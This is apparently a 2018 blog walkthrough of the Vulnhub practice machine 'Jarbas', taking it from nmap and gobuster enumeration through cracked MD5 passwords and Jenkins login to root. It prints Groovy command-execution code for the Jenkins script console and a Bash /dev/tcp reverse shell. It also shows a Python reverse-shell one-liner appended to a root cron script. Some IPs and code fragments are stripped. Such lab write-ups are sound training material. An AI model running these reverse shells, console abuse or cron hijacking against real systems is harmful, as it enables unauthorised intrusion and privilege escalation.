- Jarbas

August 29, 2018

This time our goal is to attack another machine from Vulnhub called Jarbas.

If you want to keep your hacking studies, please try out this machine!

Jarbas 1.0 – A tribute to a nostalgic Brazilian search engine in the end of 90’s.

Objective: Get root shell!


Let’s start with nmap scan.

[email protected]:~# nmap -sC -sV -sS -A -v
Starting Nmap 7.70 ( ) at 2018-08-27 06:49 EDT
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 06:49
Completed NSE at 06:49, 0.00s elapsed
Initiating NSE at 06:49
Completed NSE at 06:49, 0.00s elapsed
Initiating ARP Ping Scan at 06:49
Scanning [1 port]
Completed ARP Ping Scan at 06:49, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:49
Completed Parallel DNS resolution of 1 host. at 06:49, 0.00s elapsed
Initiating SYN Stealth Scan at 06:49
Scanning [1000 ports]
Discovered open port 22/tcp on
Discovered open port 3306/tcp on
Discovered open port 8080/tcp on
Discovered open port 80/tcp on
Completed SYN Stealth Scan at 06:49, 0.14s elapsed (1000 total ports)
Initiating Service scan at 06:49
Scanning 4 services on
Completed Service scan at 06:50, 6.47s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against
NSE: Script scanning
Initiating NSE at 06:50
Completed NSE at 06:50, 0.62s elapsed
Initiating NSE at 06:50
Completed NSE at 06:50, 0.00s elapsed
Nmap scan report for
Host is up (0.00052s latency).
Not shown: 996 closed ports
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 28:bc:49:3c:6c:43:29:57:3c:b8:85:9a:6d:3c:16:3f (RSA)
|   256 a0:1b:90:2c:da:79:eb:8f:3b:14:de:bb:3f:d2:e7:3f (ECDSA)
|_  256 57:72:08:54:b7:56:ff:c3:e6:16:6f:97:cf:ae:7f:76 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods: 
|   Supported Methods: GET HEAD POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Jarbas - O Seu Mordomo Virtual!
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
MAC Address: 08:00:27:33:DB:AD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 49.710 days (since Sun Jul  8 13:47:45 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros

1   0.52 ms

NSE: Script Post-scanning.
Initiating NSE at 06:50
Completed NSE at 06:50, 0.00s elapsed
Initiating NSE at 06:50
Completed NSE at 06:50, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.69 seconds
           Raw packets sent: 1023 (45.806KB) | Rcvd: 1015 (41.294KB)

From this scan, we can see a bunch of open ports, but we can start from the usual port 80 with http service.

After visiting this website, we are presented with this old school looking page.

Main page

But I could not find anything useful, after which I decided to check another port 8080 with another http server.

[email protected]:~# curl
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2F'/><script>window.location.replace('/login?from=%2F');</script></head><body style='background-color:white; color:white;'>

Authentication required
You are authenticated as: anonymous
Groups that you are in:
Permission you need to have (but didn't): hudson.model.Hudson.Read
 ... which is implied by:
 ... which is implied by: hudson.model.Hudson.Administer


From the source code, we can see that the websiite redirects to /login?from=%2F directory. Let’s check that with the browser.

Jenkins login

So we have information that the service running is Jenkins but apart from brute forcing credentials, we do not have any more information.

After that I decided to check the MariaDB database hosted on port 3306.

[email protected]:~# nc 3306
C�jHost '' is not allowed to connect to this MariaDB server

Still, nothing there. At that point I decided to run a gobuster against web servers looking for directories, and then for files with .php or .html extensions.

[email protected]:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt  -u -x .html,.php

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307
[+] Extensions   : .html,.php
/index.html (Status: 200)
/access.html (Status: 200)

Here we have, first find! Let’s look at access.html.

[email protected]:~# curl
<title>New Agile version!</title>
<p align=center> Creds encrypted in a safe way!</h2></p>
<p align=center> <img src="geoffrey.jpg" alt="Geoffrey"></p>
<p align=center> tiago:5978a63b4654c73c60fa24f836386d87<br>

Cracking the hashes easily reveals all of them.

5978a63b4654c73c60fa24f836386d87	md5	italia99
f463f63616cb3f1e81ce46b39f882fd5	md5	marianna
9b38e2b1e8b12f426b0d208a7ab6cb98	md5	vipsu


Now after trying these credentials, eder worked and we are logged into the Jenkins.

Jenkins Logged

But what can we do with it? There was a `/script/ directory allowing us to run any script we enter into the text box.

I use code from HighOnCoffe blog, which will allow me to execute commands.

def command = "whoami"
def proc = command.execute()

println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${}"


Process exit code: 0
Std Err: 
Std Out: jenkins

We can see that the code executes, showing us jenkins as the output. I tried the same with id command.

Process exit code: 0
Std Err: 
Std Out: uid=997(jenkins) gid=995(jenkins) groups=995(jenkins) context=system_u:system_r:initrc_t:s0

Now we are sure that the commands are executed properly. My next step was to run some Java Reverse Shell.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

And with our listener, we catch the connection.

[email protected]ali:~# nc -lvp 1337
listening on [any] 1337 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 57184
uname -a
Linux jarbas 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

One thing I’ve noticed during usual enumeration is en entry in crontab, executing a bash script every 5 minutes with root privilages.

cat crontab

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
*/5 * * * * root /etc/script/ >/dev/null 2>&1

cat /etc/script/

rm -rf /var/log/httpd/access_log.txt

I decided to try and put into that script a Python reverse shell snippet, that will give us back a root shell.

echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/sh\",\"-i\"]);'" >>   

rm -rf /var/log/httpd/access_log.txt
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Great, now let’s set up a listener and wait for the new run of the script.

[email protected]:~# nc -lvp 1337
listening on [any] 1337 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 57190
sh: no job control in this shell
sh-4.2# whoami

sh-4.2# cat flag.txt	
cat flag.txt

Congratulations! You got it! I always knew you could do it!
This challenge was very easy, huh? =)

Thanks for appreciating this machine.



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